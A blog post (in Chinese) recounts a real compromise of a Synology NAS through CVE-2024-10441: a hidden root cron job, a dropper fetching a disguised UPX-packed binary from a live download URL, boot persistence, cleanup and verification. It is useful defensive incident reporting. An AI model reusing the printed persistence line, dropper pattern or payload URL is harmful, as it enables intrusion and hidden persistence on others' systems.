一个真实事件,以及关于绿灯的教训。
下面的每个命令输出、版本号和 CVE ID 都来自实际调查。叙述中没有虚构任何内容。
我在整理群晖 NAS 上的计划任务时打开了任务调度器。有两个条目我不记得自己创建过:
PowerOff task 0 → 2026-07-26 09:00
PowerOn task 0 → 2026-07-26 20:00
我问:"为什么这里有这个?我从未设置过这个。"
在研究系统crontab时,我发现了这个:
*/20 * * * * /bin/sh /etc/.conf #Sn5Yj8A2l0T
一个以点开头的(隐藏)文件位于 /etc,以 root 身份每 20 分钟执行一次,并带有一个随机字符串标签。
电源计划结果证明是无关的。但如果我没有提出那个问题,我永远不会打开那个文件。
#!/bin/bash
MATCH_STRING="Sn5Yj8A2l0T"
DOWNLOAD_URL="http://zuoye.free.fr/files/synology-10441.png"
进一步阅读,它会做四件事:
wget 自行返回/etc/crontab 缺少标记 → 覆盖 该文件 (>, 不 >>) 以重新安装 cron 行/etc/rc.subr 缺少标记 → 追加 bash /etc/.conf & (启动持久化)000119.png,保存为 node,执行它那个 .png 不是图像。前 16 字节:
0000000 177 E L F 002 001 001 \0
\177ELF. 它是一个Linux二进制文件。扩展名是伪装。
它位于 /etc/node,大小 568 KB,日期为 2026-01-14。
(真正的 Node.js 位于 /usr/local/bin/node。位于 /etc/ 的名为 node 的东西不是系统组件。)
该文件日期为一月。我在七月发现它。相隔六个月。
Synology 提供 Security Advisor,用于扫描恶意软件。我进行了完整扫描。
结果:
✅ No malware detected on your system
✅ No malicious cryptocurrency mining software detected
✅ No malicious system configuration files detected
三个绿色勾选。
就在此时,/etc/.conf 和 /etc/node 都在磁盘上。我可以再次用 cat 命令将它们展示给任何询问的人。
这是值得你花时间的部分。
工具没有撒谎。它只是没有看到。 三个具体原因:
1. 有效载荷已被 UPX 压缩。
我从二进制文件中能提取的唯一可读字符串是 http://upx.sf.net。UPX 压缩可执行文件;其副作用是内部的每个字符串也被压缩。基于特征的扫描器通过匹配指纹来工作。压缩指纹后,就没有可匹配的内容了。
2. 投放程序是一个普通的 shell 脚本。
它不是一种“病毒格式”。每一行单独读取都是合法的 bash:wget、chmod、echo。它们共同执行的行为才具有恶意 — — 这需要理解,而不是简单比较。
3. 此 cron 条目的语法是有效的。
“恶意配置文件”检查寻找的是 已知的恶意模板,而不是“这一行在做什么”。*/20 * * * * /bin/sh /etc/.conf 在语法上与任何合法的计划无法区分。
因此:
绿灯表明“没有发现坏消息”。它并不能证明“不存在坏消息”。
在日常生活中,这两者几乎等价,所以我们通常把它们当作同一件事。它们并不等价。而这种差距恰恰在最关键的时候显现出来。
在清理之前,我记录了两个文件的 SHA256,并返回到那个下载 URL:
http://zuoye.free.fr/files/synology-10441.png
^^^^^^^^^^^^^^^^
synology-10441.
CVE-2024-10441 — 在Synology DSM的系统插件守护进程中存在一个未经身份验证的远程代码执行漏洞。CVSS 9.8。它源自Pwn2Own 2024。无需凭据,无需用户交互:一次精心构造的请求即可实现任意代码执行。
攻击者将有效载荷命名为他们用来进入的漏洞。
然后我检查了版本:
| 已修复于 | DSM 7.2.1-69057-6
|
| 我当时运行的 | DSM 7.2.1-69057 更新 3
|
以下是修复情况。 该安全公告于2024年底发布。我的NAS一直运行在较旧的构建版本上。
在我发现那个文件名之前,我的工作假设是:"可能是暴力破解的密码——毕竟自动阻止被禁用了。"
那是错误的。
CVE-2024-10441 无需任何身份验证。攻击者从未尝试登录,因此自动阻止无关紧要——无论怎样都不会产生影响。
实际根本原因恰好需要两个条件:
Unpatched DSM (below the fixed build)
×
Management interface reachable from the internet
↓
one request → root
我在手机上使用移动数据(WiFi 关闭)测试了四个端口。全部被拒绝 — — 因此路由器上没有 端口转发规则。暴露是从哪里来的?
QuickConnect。 供应商的便利功能,可让您在不触碰路由器的情况下从外部访问您的 NAS。它通过供应商的服务器中继工作 — — 无需端口转发。
便利和暴露是同一事物的两面。
命令很短,但 错误的顺序会浪费努力:
# 1. Break both persistence paths FIRST
sed -i '/Sn5Yj8A2l0T/d' /etc/crontab
sed -i '/Sn5Yj8A2l0T/d' /etc/rc.subr
# 2. THEN delete the files
rm -f /etc/.conf /etc/node
反过来 — 先删除,再编辑 cron — 并且在 20 分钟内,调度触发,wget 将其拉回,你会得出结论“我无法删除它。”
另一个值得记录的陷阱:我最初尝试在整个块前加上 sudo 前缀进行粘贴。sudo 打印了 Password: 并 将剩余的粘贴行当作密码尝试消耗掉。三次失败,未执行任何命令。
解决办法是单独运行 sudo -i,等待提示符从 $ 变为 #,然后粘贴不带 sudo 的命令。
文件已删除,没有错误 — 这不是证明。
此物被删除后设计为会自动恢复。真正的验证是经历完整的触发周期。
它每 20 分钟运行一次,因此我安排了在 25 分钟后进行自动重新检查:
Cleanup ~16:40
Re-check 17:13:46
Result no indicators found
一个完整的周期过去了,但它没有返回。这就是关键。
(我还确认了对外部 IP 的出站连接已经消失,没有存活的进程,并且系统 crontab 只包含合法条目。"它有效" 在删除后立即声明,以及 "它有效" 在一个完整周期后声明,这是两种截然不同强度的声明。)
由于供应商的扫描器在此事上显示为绿色,我不能将其用作检测。因此我编写了一个每日检查,它不进行 签名匹配。它提出三个问题:
/etc/.conf 存在吗?/etc/node 存在吗?打包可以击败扫描器。它无法击败 ls。
我在编写它时犯了一个值得单独成段的错误。在第一个版本中,“干净”和“无法连接到主机”返回了相同的退出码,并记录了相同的行。
这意味着:当 SSH 中断,或 NAS 断电,或密钥过期时 — — 该监视器将 永久沉默,而我认为我正被监视。
当监视器沉默时,“一切正常”和“我失明”看起来是一样的。
修复方法:使用不同的退出码,此外 在连续三次不可达运行后它会提醒它已经失明。监视器必须就其自身的失明发声,否则其沉默会被视为安全。
1. “未检测到”和“不存在”是不同的说法。
工具的输出是该工具所看到的,而不是世界的状态。要确定某物是否存在,请直接查看该物体本身。
2. 便利功能即是暴露。
QuickConnect 免去了我配置路由器的需要。代价是将管理界面暴露在公共互联网上。在漏洞公布之前这种权衡是可以接受的,之后则不行 — — 而我没有重新评估。
3. 更新不是“我有空的时候再做”的任务。
在建议发布和我被入侵之间过去了一年多。每次我看到更新提示时,我都在想 “以后再说 — — 如果它导致某些东西出问题怎么办?”
4. “假设一切正常”比“知道它出问题”更危险。
六个月,零症状。没有变慢,没有异常,官方工具报告一切正常。我发现它的唯一原因是我询问了一个完全无关的问题。
三件事,十分钟:
如果您想检查自己是否安全:
grep -rn "/etc/\.conf" /etc/crontab /etc/rc.subr 2>/dev/null
ls -la /etc/.conf /etc/node 2>/dev/null
没有输出才是好的。如果你得到输出 — 你现在就知道它是什么。
我不是安全研究员。我烘焙咖啡,业余时间写软件。
这是一份事件日志:一个未打补丁的 NAS,一个公开超过一年的漏洞,一个在那里放置了六个月的程序,以及一个绿灯表示一切正常。
本文原載於我的部落格:杀毒软件说“未检测到恶意软件”。它就坐在那里在磁盘上。
——
一个热爱技术的程序员,喜欢分享前沿AI知识和开发经验。